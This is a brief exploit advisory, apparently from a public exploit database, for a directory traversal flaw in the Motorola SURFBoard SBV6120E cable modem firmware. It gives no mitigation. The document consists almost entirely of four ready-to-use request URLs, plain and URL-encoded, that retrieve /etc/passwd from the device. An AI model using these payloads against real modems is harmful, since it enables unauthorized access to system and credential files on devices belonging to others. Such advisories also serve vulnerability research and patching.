Motorola Surfboard Cable Modem - Directory Traversal

# Exploit Title: Motorola SURFBoard Cable Modem Directory Traversal
# Date: 2010.06.03
# Author: S2 Crew [Hungary]
# Software Link: -
# Version: Model name: SBV6120E, Firmware Name: SBV6X2X-1.0.0.5-SCM-02-SHPC
# Tested on: ^
# CVE: -
# Code :

The following urls get back the /etc/passwd file from the modem:

http://[IP]///etc/passwd <http://[ip]///etc/passwd>
http://[IP]/../../etc/passwd

http://[IP]/..%2f..%2fetc/passwd <http://[ip]/..%2f..%2fetc/passwd>
http://[IP]/%2e%2e/%2e%2e/etc/passwd